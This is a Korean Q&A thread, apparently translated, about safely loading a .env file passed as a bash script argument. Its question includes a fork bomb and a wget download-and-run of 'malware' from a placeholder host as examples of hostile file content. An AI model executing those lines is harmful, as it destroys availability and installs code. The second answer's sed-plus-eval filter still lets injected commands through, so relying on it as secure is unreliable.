명령줄 인수가 주어지면 .env 파일을 안전하게 로드하는 방법은 무엇입니까?

명령줄 인수가 주어지면 .env 파일을 안전하게 로드하는 방법은 무엇입니까?

다음 스크립트가 있습니다.

#!/usr/bin/env bash

if [ "$#" -eq 0 ]; then
  echo "No argument has been provided"
  exit -1
fi

ENV_FILE=$1

source $ENV_FILE

보시다시피 스크립트 사용자는 .env환경 변수를 포함해야 하는 파일을 제공합니다. 환경 변수가 포함된 파일의 경로를 포함합니다 $ENV_FILE..env

내 스크립트의 경우 .env파일에는 다음과 같은 키 쌍 값이 포함되어야 합니다.

KEY1=VALUE1
KEY2=VALUE2
KEY3=VALUE3

그러나 위의 코드에서는 source환경 변수에 대해 임의의 텍스트 파일을 제공하는 것만으로는 좋지 않은 생각처럼 보입니다.

예를 들어, .env 파일이 다음과 같은 경우:

KEY1=VALUE1
KEY2=VALUE2
KEY3=VALUE3

:(){ :|: & };:

또는 다음과 같은 내용이 포함된 경우:

KEY1=VALUE1
KEY2=VALUE2
KEY3=VALUE3

wget https://malicisoussite.com/mallware -o /usr/bin/mallware
chmod +x ./mallware
./mallware

보시다시피, 이 source명령은 단순히 .env 파일을 bash 스크립트로 로드합니다. 따라서 예상되는 환경변수 할당량을 초과하는 악성코드가 포함될 수 있습니다.

그렇다면 파일에 쌍만 포함되어 있는지 어떻게 확인할 수 있나요 KEY=VALUE?

답변1

입력을 삭제하는 한 가지 방법은 다음과 같습니다.

#!/usr/bin/env bash

### Your previous code here ###

env_file=$1

if ! perl -ne '/^\w+=[\047\042\w\s\.-]+\s*$|^\s*$/
        or die "Suspicious line $_"' "$env_file"
then
    msg="suspicious source file detected from $env_file"
    logger -t $0 "$msg"
    mail -s "$0 $msg" [email protected] < "$env_file"
    exit 1
else
    . "$env_file"
fi

그러면 다음 변경만 허용됩니다.

key=value
KEY='VALUE'
Key="v"
K_e_y=value
k=v 
k=_v_a_l_u_e
k=v-a-l-u-e
k='v a l u e'
...

정규식 일치는 다음과 같습니다.

마디 설명하다
^ 문자열의 시작
\w+ 단어 문자(az, AZ, 0-9, _)(1회 이상(최대한 많이 일치))
= =
[\047\042\w\s\.-]+ 모든 문자: '\047', '\042', 단어 문자(az, AZ, 0-9, _), 공백(\n, \r, \t, \f 및 " "), '.', ' -' (1회 이상(최대한 많이 일치))
\s* 공백(\n, \r, \t, \f 및 " ")(0회 이상(최대한 일치))
$ 선택적 \n 앞과 문자열 끝
| 또는
^ 문자열의 시작
\s* 공백(\n, \r, \t, \f 및 " ")(0회 이상(최대한 일치))
$ 선택적 \n 앞과 문자열 끝

답변2

내 생각에는 더 나은 접근 방식은 다음과 같습니다. https://askubuntu.com/a/886884

환경 변수를 제공하기 위해 일반적인 sed 및 eval을 사용합니다.

#!/usr/bin/env bash

if [ "$#" -eq 0 ]; then
  echo "No argument has been provided"
  exit -1
fi

ENV_FILE=$1

if [ ! -f "$ENV_FILE" ]; then
  echo "No ENV file has been provided"
  exit -1
fi

ENV_CONTENT=$(cat $ENV_FILE | sed -r '/[^=]+=[^=]+/!d' | sed -r 's/\s+=\s/=/g')
eval $ENV_CONTENT

eval이 지원되지 않는 경우:

#!/usr/bin/env bash

if [ "$#" -eq 0 ]; then
  echo "No argument has been provided"
  exit -1
fi

ENV_FILE=$1

if [ ! -f "$ENV_FILE" ]; then
  echo "No ENV file has been provided"
  exit -1
fi

cat $ENV_FILE | sed -r '/[^=]+=[^=]+/!d' | sed -r 's/\s+=\s/=/g' > $ENV_FILE.sane

source $ENV_FILE.sane

관련 정보